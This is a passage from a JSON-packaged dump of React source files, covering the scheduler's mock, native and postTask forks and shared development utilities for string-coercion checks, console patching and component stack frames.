timeoutTime = currentMockTime + ms;\n}\n\nfunction cancelHostTimeout(): void {\n  scheduledTimeout = null;\n  timeoutTime = -1;\n}\n\nfunction shouldYieldToHost(): boolean {\n  if (\n    (expectedNumberOfYields === 0 && yieldedValues === null) ||\n    (expectedNumberOfYields !== -1 &&\n      yieldedValues !== null &&\n      yieldedValues.length >= expectedNumberOfYields) ||\n    (shouldYieldForPaint && needsPaint)\n  ) {\n    // We yielded at least as many values as expected. Stop flushing.\n    didStop = true;\n    return true;\n  }\n  return false;\n}\n\nfunction getCurrentTime(): number {\n  return currentMockTime;\n}\n\nfunction forceFrameRate() {\n  // No-op\n}\n\nfunction reset() {\n  if (isFlushing) {\n    throw new Error('Cannot reset while already flushing work.');\n  }\n  currentMockTime = 0;\n  scheduledCallback = null;\n  scheduledTimeout = null;\n  timeoutTime = -1;\n  yieldedValues = null;\n  expectedNumberOfYields = -1;\n  didStop = false;\n  isFlushing = false;\n  needsPaint = false;\n}\n\n// Should only be used via an assertion helper that inspects the yielded values.\nfunction unstable_flushNumberOfYields(count: number): void {\n  if (isFlushing) {\n    throw new Error('Already flushing work.');\n  }\n  if (scheduledCallback !== null) {\n    const cb = scheduledCallback;\n    expectedNumberOfYields = count;\n    isFlushing = true;\n    try {\n      let hasMoreWork = true;\n      do {\n        hasMoreWork = cb(true, currentMockTime);\n      } while (hasMoreWork && !didStop);\n      if (!hasMoreWork) {\n        scheduledCallback = null;\n      }\n    } finally {\n      expectedNumberOfYields = -1;\n      didStop = false;\n      isFlushing = false;\n    }\n  }\n}\n\nfunction unstable_flushUntilNextPaint(): false {\n  if (isFlushing) {\n    throw new Error('Already flushing work.');\n  }\n  if (scheduledCallback !== null) {\n    const cb = scheduledCallback;\n    shouldYieldForPaint = true;\n    needsPaint = false;\n    isFlushing = true;\n    try {\n      let hasMoreWork = true;\n      do {\n        hasMoreWork = cb(true, currentMockTime);\n      } while (hasMoreWork && !didStop);\n      if (!hasMoreWork) {\n        scheduledCallback = null;\n      }\n    } finally {\n      shouldYieldForPaint = false;\n      didStop = false;\n      isFlushing = false;\n    }\n  }\n  return false;\n}\n\nfunction unstable_hasPendingWork(): boolean {\n  return scheduledCallback !== null;\n}\n\nfunction unstable_flushExpired() {\n  if (isFlushing) {\n    throw new Error('Already flushing work.');\n  }\n  if (scheduledCallback !== null) {\n    isFlushing = true;\n    try {\n      const hasMoreWork = scheduledCallback(false, currentMockTime);\n      if (!hasMoreWork) {\n        scheduledCallback = null;\n      }\n    } finally {\n      isFlushing = false;\n    }\n  }\n}\n\nfunction unstable_flushAllWithoutAsserting(): boolean {\n  // Returns false if no work was flushed.\n  if (isFlushing) {\n    throw new Error('Already flushing work.');\n  }\n  if (scheduledCallback !== null) {\n    const cb = scheduledCallback;\n    isFlushing = true;\n    try {\n      let hasMoreWork = true;\n      do {\n        hasMoreWork = cb(true, currentMockTime);\n      } while (hasMoreWork);\n      if (!hasMoreWork) {\n        scheduledCallback = null;\n      }\n      return true;\n    } finally {\n      isFlushing = false;\n    }\n  } else {\n    return false;\n  }\n}\n\nfunction unstable_clearLog(): Array<mixed> {\n  if (yieldedValues === null) {\n    return [];\n  }\n  const values = yieldedValues;\n  yieldedValues = null;\n  return values;\n}\n\nfunction unstable_flushAll(): void {\n  if (yieldedValues !== null) {\n    throw new Error(\n      'Log is not empty. Assert on the log of yielded values before ' +\n        'flushing additional work.',\n    );\n  }\n  unstable_flushAllWithoutAsserting();\n  if (yieldedValues !== null) {\n    throw new Error(\n      'While flushing work, something yielded a value. Use an ' +\n        'assertion helper to assert on the log of yielded values, e.g. ' +\n        'expect(Scheduler).toFlushAndYield([...])',\n    );\n  }\n}\n\nfunction log(value: mixed): void {\n  // eslint-disable-next-line react-internal/no-production-logging\n  if (console.log.name === 'disabledLog' || disableYieldValue) {\n    // If console.log has been patched, we assume we're in render\n    // replaying and we ignore any values yielding in the second pass.\n    return;\n  }\n  if (yieldedValues === null) {\n    yieldedValues = [value];\n  } else {\n    yieldedValues.push(value);\n  }\n}\n\nfunction unstable_advanceTime(ms: number) {\n  // eslint-disable-next-line react-internal/no-production-logging\n  if (console.log.name === 'disabledLog' || disableYieldValue) {\n    // If console.log has been patched, we assume we're in render\n    // replaying and we ignore any time advancing in the second pass.\n    return;\n  }\n  currentMockTime += ms;\n  if (scheduledTimeout !== null && timeoutTime <= currentMockTime) {\n    scheduledTimeout(currentMockTime);\n    timeoutTime = -1;\n    scheduledTimeout = null;\n  }\n}\n\nfunction requestPaint() {\n  needsPaint = true;\n}\n\nexport {\n  ImmediatePriority as unstable_ImmediatePriority,\n  UserBlockingPriority as unstable_UserBlockingPriority,\n  NormalPriority as unstable_NormalPriority,\n  IdlePriority as unstable_IdlePriority,\n  LowPriority as unstable_LowPriority,\n  unstable_runWithPriority,\n  unstable_next,\n  unstable_scheduleCallback,\n  unstable_cancelCallback,\n  unstable_wrapCallback,\n  unstable_getCurrentPriorityLevel,\n  shouldYieldToHost as unstable_shouldYield,\n  requestPaint as unstable_requestPaint,\n  getCurrentTime as unstable_now,\n  forceFrameRate as unstable_forceFrameRate,\n  unstable_flushAllWithoutAsserting,\n  unstable_flushNumberOfYields,\n  unstable_flushExpired,\n  unstable_clearLog,\n  unstable_flushUntilNextPaint,\n  unstable_hasPendingWork,\n  unstable_flushAll,\n  log,\n  unstable_advanceTime,\n  reset,\n  setDisableYieldValue as unstable_setDisableYieldValue,\n};\n\nexport const unstable_Profiling: {\n  startLoggingProfilingEvents(): void,\n  stopLoggingProfilingEvents(): ArrayBuffer | null,\n} | null = enableProfiling\n  ? {\n      startLoggingProfilingEvents,\n      stopLoggingProfilingEvents,\n    }\n  : null;\n"
  },
  {
    "path": "packages/scheduler/src/forks/SchedulerNative.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nimport * as Scheduler from './Scheduler';\nimport type {Callback, Task} from './Scheduler';\nimport type {PriorityLevel} from '../SchedulerPriorities';\nimport typeof * as PriorityLevels from '../SchedulerPriorities';\nimport typeof * as SchedulerExportsType from './Scheduler';\nimport typeof * as SchedulerNativeExportsType from './SchedulerNative';\n\n// This type is supposed to reflect the actual methods and arguments currently supported by the C++ implementation:\n// https://github.com/facebook/react-native/blob/main/packages/react-native/ReactCommon/react/renderer/runtimescheduler/RuntimeSchedulerBinding.cpp\ntype NativeSchedulerType = {\n  unstable_ImmediatePriority: PriorityLevels['ImmediatePriority'],\n  unstable_UserBlockingPriority: PriorityLevels['UserBlockingPriority'],\n  unstable_NormalPriority: PriorityLevels['NormalPriority'],\n  unstable_IdlePriority: PriorityLevels['IdlePriority'],\n  unstable_LowPriority: PriorityLevels['LowPriority'],\n  unstable_scheduleCallback: (\n    priorityLevel: PriorityLevel,\n    callback: Callback,\n  ) => Task,\n  unstable_cancelCallback: (task: Task) => void,\n  unstable_getCurrentPriorityLevel: () => PriorityLevel,\n  unstable_shouldYield: () => boolean,\n  unstable_requestPaint: () => void,\n  unstable_now: () => DOMHighResTimeStamp,\n};\n\ndeclare const nativeRuntimeScheduler: void | NativeSchedulerType;\n\nexport const unstable_UserBlockingPriority: PriorityLevels['UserBlockingPriority'] =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_UserBlockingPriority\n    : Scheduler.unstable_UserBlockingPriority;\n\nexport const unstable_NormalPriority: PriorityLevels['NormalPriority'] =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_NormalPriority\n    : Scheduler.unstable_NormalPriority;\n\nexport const unstable_IdlePriority: PriorityLevels['IdlePriority'] =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_IdlePriority\n    : Scheduler.unstable_IdlePriority;\n\nexport const unstable_LowPriority: PriorityLevels['LowPriority'] =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_LowPriority\n    : Scheduler.unstable_LowPriority;\n\nexport const unstable_ImmediatePriority: PriorityLevels['ImmediatePriority'] =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_ImmediatePriority\n    : Scheduler.unstable_ImmediatePriority;\n\nexport const unstable_scheduleCallback: (\n  priorityLevel: PriorityLevel,\n  callback: Callback,\n) => Task =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_scheduleCallback\n    : Scheduler.unstable_scheduleCallback;\n\nexport const unstable_cancelCallback: (task: Task) => void =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_cancelCallback\n    : Scheduler.unstable_cancelCallback;\n\nexport const unstable_getCurrentPriorityLevel: () => PriorityLevel =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_getCurrentPriorityLevel\n    : Scheduler.unstable_getCurrentPriorityLevel;\n\nexport const unstable_shouldYield: () => boolean =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_shouldYield\n    : Scheduler.unstable_shouldYield;\n\nexport const unstable_requestPaint: () => void =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_requestPaint\n    : Scheduler.unstable_requestPaint;\n\nexport const unstable_now: () => number | DOMHighResTimeStamp =\n  typeof nativeRuntimeScheduler !== 'undefined'\n    ? nativeRuntimeScheduler.unstable_now\n    : Scheduler.unstable_now;\n\n// These were never implemented on the native scheduler because React never calls them.\n// For consistency, let's disable them altogether and make them throw.\nexport const unstable_next: any = throwNotImplemented;\nexport const unstable_runWithPriority: any = throwNotImplemented;\nexport const unstable_wrapCallback: any = throwNotImplemented;\nexport const unstable_forceFrameRate: any = throwNotImplemented;\nexport const unstable_Profiling: any = null;\n\nfunction throwNotImplemented() {\n  throw Error('Not implemented.');\n}\n\n// Flow magic to verify the exports of this file match the original version.\nexport type {Callback, Task};\n((((null: any): SchedulerExportsType): SchedulerNativeExportsType): SchedulerExportsType);\n"
  },
  {
    "path": "packages/scheduler/src/forks/SchedulerPostTask.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {PriorityLevel} from '../SchedulerPriorities';\n\ndeclare class TaskController {\n  constructor(options?: {priority?: string}): TaskController;\n  signal: mixed;\n  abort(): void;\n}\n\ntype PostTaskPriorityLevel = 'user-blocking' | 'user-visible' | 'background';\n\ntype CallbackNode = {\n  _controller: TaskController,\n};\n\nimport {\n  ImmediatePriority,\n  UserBlockingPriority,\n  NormalPriority,\n  LowPriority,\n  IdlePriority,\n} from '../SchedulerPriorities';\n\nexport {\n  ImmediatePriority as unstable_ImmediatePriority,\n  UserBlockingPriority as unstable_UserBlockingPriority,\n  NormalPriority as unstable_NormalPriority,\n  IdlePriority as unstable_IdlePriority,\n  LowPriority as unstable_LowPriority,\n};\n\n// Capture local references to native APIs, in case a polyfill overrides them.\nconst perf = window.performance;\nconst setTimeout = window.setTimeout;\n\n// Use experimental Chrome Scheduler postTask API.\nconst scheduler = global.scheduler;\n\nconst getCurrentTime: () => DOMHighResTimeStamp = perf.now.bind(perf);\n\nexport const unstable_now = getCurrentTime;\n\n// Scheduler periodically yields in case there is other work on the main\n// thread, like user events. By default, it yields multiple times per frame.\n// It does not attempt to align with frame boundaries, since most tasks don't\n// need to be frame aligned; for those that do, use requestAnimationFrame.\nconst yieldInterval = 5;\nlet deadline = 0;\n\nlet currentPriorityLevel_DEPRECATED: PriorityLevel = NormalPriority;\n\n// Always yield at the end of the frame.\nexport function unstable_shouldYield(): boolean {\n  return getCurrentTime() >= deadline;\n}\n\nexport function unstable_requestPaint() {\n  // Since we yield every frame regardless, `requestPaint` has no effect.\n}\n\ntype SchedulerCallback<T> = (didTimeout_DEPRECATED: boolean) =>\n  | T\n  // May return a continuation\n  | SchedulerCallback<T>;\n\nexport function unstable_scheduleCallback<T>(\n  priorityLevel: PriorityLevel,\n  callback: SchedulerCallback<T>,\n  options?: {delay?: number},\n): CallbackNode {\n  let postTaskPriority: PostTaskPriorityLevel;\n  switch (priorityLevel) {\n    case ImmediatePriority:\n    case UserBlockingPriority:\n      postTaskPriority = 'user-blocking';\n      break;\n    case LowPriority:\n    case NormalPriority:\n      postTaskPriority = 'user-visible';\n      break;\n    case IdlePriority:\n      postTaskPriority = 'background';\n      break;\n    default:\n      postTaskPriority = 'user-visible';\n      break;\n  }\n\n  const controller = new TaskController({priority: postTaskPriority});\n  const postTaskOptions = {\n    delay: typeof options === 'object' && options !== null ? options.delay : 0,\n    signal: controller.signal,\n  };\n\n  const node = {\n    _controller: controller,\n  };\n\n  scheduler\n    .postTask(\n      runTask.bind(null, priorityLevel, postTaskPriority, node, callback),\n      postTaskOptions,\n    )\n    .catch(handleAbortError);\n\n  return node;\n}\n\nfunction runTask<T>(\n  priorityLevel: PriorityLevel,\n  postTaskPriority: PostTaskPriorityLevel,\n  node: CallbackNode,\n  callback: SchedulerCallback<T>,\n) {\n  deadline = getCurrentTime() + yieldInterval;\n  try {\n    currentPriorityLevel_DEPRECATED = priorityLevel;\n    const didTimeout_DEPRECATED = false;\n    const result = callback(didTimeout_DEPRECATED);\n    if (typeof result === 'function') {\n      // Assume this is a continuation\n      const continuation: SchedulerCallback<T> = (result: any);\n      const continuationOptions = {\n        signal: node._controller.signal,\n      };\n\n      const nextTask = runTask.bind(\n        null,\n        priorityLevel,\n        postTaskPriority,\n        node,\n        continuation,\n      );\n\n      if (scheduler.yield !== undefined) {\n        scheduler\n          .yield(continuationOptions)\n          .then(nextTask)\n          .catch(handleAbortError);\n      } else {\n        scheduler\n          .postTask(nextTask, continuationOptions)\n          .catch(handleAbortError);\n      }\n    }\n  } catch (error) {\n    // We're inside a `postTask` promise. If we don't handle this error, then it\n    // will trigger an \"Unhandled promise rejection\" error. We don't want that,\n    // but we do want the default error reporting behavior that normal\n    // (non-Promise) tasks get for unhandled errors.\n    //\n    // So we'll re-throw the error inside a regular browser task.\n    setTimeout(() => {\n      throw error;\n    });\n  } finally {\n    currentPriorityLevel_DEPRECATED = NormalPriority;\n  }\n}\n\nfunction handleAbortError(error: any) {\n  // Abort errors are an implementation detail. We don't expose the\n  // TaskController to the user, nor do we expose the promise that is returned\n  // from `postTask`. So we should suppress them, since there's no way for the\n  // user to handle them.\n}\n\nexport function unstable_cancelCallback(node: CallbackNode) {\n  const controller = node._controller;\n  controller.abort();\n}\n\nexport function unstable_runWithPriority<T>(\n  priorityLevel: PriorityLevel,\n  callback: () => T,\n): T {\n  const previousPriorityLevel = currentPriorityLevel_DEPRECATED;\n  currentPriorityLevel_DEPRECATED = priorityLevel;\n  try {\n    return callback();\n  } finally {\n    currentPriorityLevel_DEPRECATED = previousPriorityLevel;\n  }\n}\n\nexport function unstable_getCurrentPriorityLevel(): PriorityLevel {\n  return currentPriorityLevel_DEPRECATED;\n}\n\nexport function unstable_next<T>(callback: () => T): T {\n  let priorityLevel: PriorityLevel;\n  switch (currentPriorityLevel_DEPRECATED) {\n    case ImmediatePriority:\n    case UserBlockingPriority:\n    case NormalPriority:\n      // Shift down to normal priority\n      priorityLevel = NormalPriority;\n      break;\n    default:\n      // Anything lower than normal priority should remain at the current level.\n      priorityLevel = currentPriorityLevel_DEPRECATED;\n      break;\n  }\n\n  const previousPriorityLevel = currentPriorityLevel_DEPRECATED;\n  currentPriorityLevel_DEPRECATED = priorityLevel;\n  try {\n    return callback();\n  } finally {\n    currentPriorityLevel_DEPRECATED = previousPriorityLevel;\n  }\n}\n\nexport function unstable_wrapCallback<T>(callback: () => T): () => T {\n  const parentPriorityLevel = currentPriorityLevel_DEPRECATED;\n  return () => {\n    const previousPriorityLevel = currentPriorityLevel_DEPRECATED;\n    currentPriorityLevel_DEPRECATED = parentPriorityLevel;\n    try {\n      return callback();\n    } finally {\n      currentPriorityLevel_DEPRECATED = previousPriorityLevel;\n    }\n  };\n}\n\nexport function unstable_forceFrameRate() {}\n\n// Currently no profiling build\nexport const unstable_Profiling = null;\n"
  },
  {
    "path": "packages/scheduler/unstable_mock.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nexport * from './src/forks/SchedulerMock';\n"
  },
  {
    "path": "packages/scheduler/unstable_post_task.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nexport * from './src/forks/SchedulerPostTask';\n"
  },
  {
    "path": "packages/shared/CheckStringCoercion.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/*\n * The `'' + value` pattern (used in perf-sensitive code) throws for Symbol\n * and Temporal.* types. See https://github.com/facebook/react/pull/22064.\n *\n * The functions in this module will throw an easier-to-understand,\n * easier-to-debug exception with a clear errors message message explaining the\n * problem. (Instead of a confusing exception thrown inside the implementation\n * of the `value` object).\n */\n\n// $FlowFixMe[incompatible-return] only called in DEV, so void return is not possible.\nfunction typeName(value: mixed): string {\n  if (__DEV__) {\n    // toStringTag is needed for namespaced types like Temporal.Instant\n    const hasToStringTag = typeof Symbol === 'function' && Symbol.toStringTag;\n    const type =\n      (hasToStringTag && (value: any)[Symbol.toStringTag]) ||\n      (value: any).constructor.name ||\n      'Object';\n    // $FlowFixMe[incompatible-return]\n    return type;\n  }\n}\n\n// $FlowFixMe[incompatible-return] only called in DEV, so void return is not possible.\nfunction willCoercionThrow(value: mixed): boolean {\n  if (__DEV__) {\n    try {\n      testStringCoercion(value);\n      return false;\n    } catch (e) {\n      return true;\n    }\n  }\n}\n\n/** @noinline */\nfunction testStringCoercion(value: mixed) {\n  // If you ended up here by following an exception call stack, here's what's\n  // happened: you supplied an object or symbol value to React (as a prop, key,\n  // DOM attribute, CSS property, string ref, etc.) and when React tried to\n  // coerce it to a string using `'' + value`, an exception was thrown.\n  //\n  // The most common types that will cause this exception are `Symbol` instances\n  // and Temporal objects like `Temporal.Instant`. But any object that has a\n  // `valueOf` or `[Symbol.toPrimitive]` method that throws will also cause this\n  // exception. (Library authors do this to prevent users from using built-in\n  // numeric operators like `+` or comparison operators like `>=` because custom\n  // methods are needed to perform accurate arithmetic or comparison.)\n  //\n  // To fix the problem, coerce this object or symbol value to a string before\n  // passing it to React. The most reliable way is usually `String(value)`.\n  //\n  // To find which value is throwing, check the browser or debugger console.\n  // Before this exception was thrown, there should be `console.error` output\n  // that shows the type (Symbol, Temporal.PlainDate, etc.) that caused the\n  // problem and how that type was used: key, atrribute, input value prop, etc.\n  // In most cases, this console output also shows the component and its\n  // ancestor components where the exception happened.\n  //\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  return '' + (value: any);\n}\n\nexport function checkAttributeStringCoercion(\n  value: mixed,\n  attributeName: string,\n): void | string {\n  if (__DEV__) {\n    if (willCoercionThrow(value)) {\n      console.error(\n        'The provided `%s` attribute is an unsupported type %s.' +\n          ' This value must be coerced to a string before using it here.',\n        attributeName,\n        typeName(value),\n      );\n      return testStringCoercion(value); // throw (to help callers find troubleshooting comments)\n    }\n  }\n}\n\nexport function checkKeyStringCoercion(value: mixed): void | string {\n  if (__DEV__) {\n    if (willCoercionThrow(value)) {\n      console.error(\n        'The provided key is an unsupported type %s.' +\n          ' This value must be coerced to a string before using it here.',\n        typeName(value),\n      );\n      return testStringCoercion(value); // throw (to help callers find troubleshooting comments)\n    }\n  }\n}\n\nexport function checkPropStringCoercion(\n  value: mixed,\n  propName: string,\n): void | string {\n  if (__DEV__) {\n    if (willCoercionThrow(value)) {\n      console.error(\n        'The provided `%s` prop is an unsupported type %s.' +\n          ' This value must be coerced to a string before using it here.',\n        propName,\n        typeName(value),\n      );\n      return testStringCoercion(value); // throw (to help callers find troubleshooting comments)\n    }\n  }\n}\n\nexport function checkOptionStringCoercion(\n  value: mixed,\n  propName: string,\n): void | string {\n  if (__DEV__) {\n    if (willCoercionThrow(value)) {\n      console.error(\n        'The provided `%s` option is an unsupported type %s.' +\n          ' This value must be coerced to a string before using it here.',\n        propName,\n        typeName(value),\n      );\n      return testStringCoercion(value); // throw (to help callers find troubleshooting comments)\n    }\n  }\n}\n\nexport function checkCSSPropertyStringCoercion(\n  value: mixed,\n  propName: string,\n): void | string {\n  if (__DEV__) {\n    if (willCoercionThrow(value)) {\n      console.error(\n        'The provided `%s` CSS property is an unsupported type %s.' +\n          ' This value must be coerced to a string before using it here.',\n        propName,\n        typeName(value),\n      );\n      return testStringCoercion(value); // throw (to help callers find troubleshooting comments)\n    }\n  }\n}\n\nexport function checkHtmlStringCoercion(value: mixed): void | string {\n  if (__DEV__) {\n    if (willCoercionThrow(value)) {\n      console.error(\n        'The provided HTML markup uses a value of unsupported type %s.' +\n          ' This value must be coerced to a string before using it here.',\n        typeName(value),\n      );\n      return testStringCoercion(value); // throw (to help callers find troubleshooting comments)\n    }\n  }\n}\n\nexport function checkFormFieldValueStringCoercion(value: mixed): void | string {\n  if (__DEV__) {\n    if (willCoercionThrow(value)) {\n      console.error(\n        'Form field values (value, checked, defaultValue, or defaultChecked props)' +\n          ' must be strings, not %s.' +\n          ' This value must be coerced to a string before using it here.',\n        typeName(value),\n      );\n      return testStringCoercion(value); // throw (to help callers find troubleshooting comments)\n    }\n  }\n}\n"
  },
  {
    "path": "packages/shared/ConsolePatchingDev.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Helpers to patch console.logs to avoid logging during side-effect free\n// replaying on render function. This currently only patches the object\n// lazily which won't cover if the log function was extracted eagerly.\n// We could also eagerly patch the method.\n\nlet disabledDepth = 0;\nlet prevLog;\nlet prevInfo;\nlet prevWarn;\nlet prevError;\nlet prevGroup;\nlet prevGroupCollapsed;\nlet prevGroupEnd;\n\nfunction disabledLog() {}\ndisabledLog.__reactDisabledLog = true;\n\nexport function disableLogs(): void {\n  if (__DEV__) {\n    if (disabledDepth === 0) {\n      /* eslint-disable react-internal/no-production-logging */\n      prevLog = console.log;\n      prevInfo = console.info;\n      prevWarn = console.warn;\n      prevError = console.error;\n      prevGroup = console.group;\n      prevGroupCollapsed = console.groupCollapsed;\n      prevGroupEnd = console.groupEnd;\n      // https://github.com/facebook/react/issues/19099\n      const props = {\n        configurable: true,\n        enumerable: true,\n        value: disabledLog,\n        writable: true,\n      };\n      // $FlowFixMe[cannot-write] Flow thinks console is immutable.\n      Object.defineProperties(console, {\n        info: props,\n        log: props,\n        warn: props,\n        error: props,\n        group: props,\n        groupCollapsed: props,\n        groupEnd: props,\n      });\n    }\n    disabledDepth++;\n  }\n}\n\nexport function reenableLogs(): void {\n  if (__DEV__) {\n    disabledDepth--;\n    if (disabledDepth === 0) {\n      const props = {\n        configurable: true,\n        enumerable: true,\n        writable: true,\n      };\n      // $FlowFixMe[cannot-write] Flow thinks console is immutable.\n      Object.defineProperties(console, {\n        log: {...props, value: prevLog},\n        info: {...props, value: prevInfo},\n        warn: {...props, value: prevWarn},\n        error: {...props, value: prevError},\n        group: {...props, value: prevGroup},\n        groupCollapsed: {...props, value: prevGroupCollapsed},\n        groupEnd: {...props, value: prevGroupEnd},\n      });\n    }\n    if (disabledDepth < 0) {\n      console.error(\n        'disabledDepth fell below zero. ' +\n          'This is a bug in React. Please file an issue.',\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/shared/DefaultPrepareStackTrace.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is forked in server builds where the default stack frame may be source mapped.\n\nexport default ((undefined: any): (Error, CallSite[]) => string);\n"
  },
  {
    "path": "packages/shared/DefaultPrepareStackTraceV8.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This file replaces DefaultPrepareStackTrace in Edge/Node Server builds.\n\nfunction prepareStackTrace(\n  error: Error,\n  structuredStackTrace: CallSite[],\n): string {\n  const name = error.name || 'Error';\n  const message = error.message || '';\n  let stack = name + ': ' + message;\n  for (let i = 0; i < structuredStackTrace.length; i++) {\n    stack += '\\n    at ' + structuredStackTrace[i].toString();\n  }\n  return stack;\n}\n\nexport default prepareStackTrace;\n"
  },
  {
    "path": "packages/shared/ExecutionEnvironment.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const canUseDOM: boolean = !!(\n  typeof window !== 'undefined' &&\n  typeof window.document !== 'undefined' &&\n  typeof window.document.createElement !== 'undefined'\n);\n"
  },
  {
    "path": "packages/shared/ReactComponentInfoStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nimport {describeBuiltInComponentFrame} from 'shared/ReactComponentStackFrame';\n\nimport {formatOwnerStack} from 'shared/ReactOwnerStackFrames';\n\nexport function getOwnerStackByComponentInfoInDev(\n  componentInfo: ReactComponentInfo,\n): string {\n  if (!__DEV__) {\n    return '';\n  }\n  try {\n    let info = '';\n\n    // The owner stack of the current component will be where it was created, i.e. inside its owner.\n    // There's no actual name of the currently executing component. Instead, that is available\n    // on the regular stack that's currently executing. However, if there is no owner at all, then\n    // there's no stack frame so we add the name of the root component to the stack to know which\n    // component is currently executing.\n    if (!componentInfo.owner && typeof componentInfo.name === 'string') {\n      return describeBuiltInComponentFrame(componentInfo.name);\n    }\n\n    let owner: void | null | ReactComponentInfo = componentInfo;\n\n    while (owner) {\n      const ownerStack: ?Error = owner.debugStack;\n      if (ownerStack != null) {\n        // Server Component\n        owner = owner.owner;\n        if (owner) {\n          // TODO: Should we stash this somewhere for caching purposes?\n          info += '\\n' + formatOwnerStack(ownerStack);\n        }\n      } else {\n        break;\n      }\n    }\n    return info;\n  } catch (x) {\n    return '\\nError generating stack: ' + x.message + '\\n' + x.stack;\n  }\n}\n"
  },
  {
    "path": "packages/shared/ReactComponentStackFrame.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {disableLogs, reenableLogs} from 'shared/ConsolePatchingDev';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nimport DefaultPrepareStackTrace from 'shared/DefaultPrepareStackTrace';\n\nimport {formatOwnerStack} from './ReactOwnerStackFrames';\n\nlet prefix;\nlet suffix;\nexport function describeBuiltInComponentFrame(name: string): string {\n  if (prefix === undefined) {\n    // Extract the VM specific prefix used by each line.\n    try {\n      throw Error();\n    } catch (x) {\n      const match = x.stack.trim().match(/\\n( *(at )?)/);\n      prefix = (match && match[1]) || '';\n      suffix =\n        x.stack.indexOf('\\n    at') > -1\n          ? // V8\n            ' (<anonymous>)'\n          : // JSC/Spidermonkey\n            x.stack.indexOf('@') > -1\n            ? '@unknown:0:0'\n            : // Other\n              '';\n    }\n  }\n  // We use the prefix to ensure our stacks line up with native stack frames.\n  return '\\n' + prefix + name + suffix;\n}\n\nexport function describeDebugInfoFrame(\n  name: string,\n  env: ?string,\n  location: ?Error,\n): string {\n  if (location != null) {\n    // If we have a location, it's the child's owner stack. Treat the bottom most frame as\n    // the location of this function.\n    const childStack = formatOwnerStack(location);\n    const idx = childStack.lastIndexOf('\\n');\n    const lastLine = idx === -1 ? childStack : childStack.slice(idx + 1);\n    if (lastLine.indexOf(name) !== -1) {\n      // For async stacks it's possible we don't have the owner on it. As a precaution only\n      // use this frame if it has the name of the function in it.\n      return '\\n' + lastLine;\n    }\n  }\n\n  return describeBuiltInComponentFrame(name + (env ? ' [' + env + ']' : ''));\n}\n\nlet reentry = false;\nlet componentFrameCache;\nif (__DEV__) {\n  const PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\n  componentFrameCache = new PossiblyWeakMap<Function, string>();\n}\n\n/**\n * Leverages native browser/VM stack frames to get proper details (e.g.\n * filename, line + col number) for a single component in a component stack. We\n * do this by:\n *   (1) throwing and catching an error in the function - this will be our\n *       control error.\n *   (2) calling the component which will eventually throw an error that we'll\n *       catch - this will be our sample error.\n *   (3) diffing the control and sample error stacks to find the stack frame\n *       which represents our component.\n */\nexport function describeNativeComponentFrame(\n  fn: Function,\n  construct: boolean,\n): string {\n  // If something asked for a stack inside a fake render, it should get ignored.\n  if (!fn || reentry) {\n    return '';\n  }\n\n  if (__DEV__) {\n    const frame = componentFrameCache.get(fn);\n    if (frame !== undefined) {\n      return frame;\n    }\n  }\n\n  reentry = true;\n  const previousPrepareStackTrace = Error.prepareStackTrace;\n  Error.prepareStackTrace = DefaultPrepareStackTrace;\n  let previousDispatcher = null;\n\n  if (__DEV__) {\n    previousDispatcher = ReactSharedInternals.H;\n    // Set the dispatcher in DEV because this might be call in the render function\n    // for warnings.\n    ReactSharedInternals.H = null;\n    disableLogs();\n  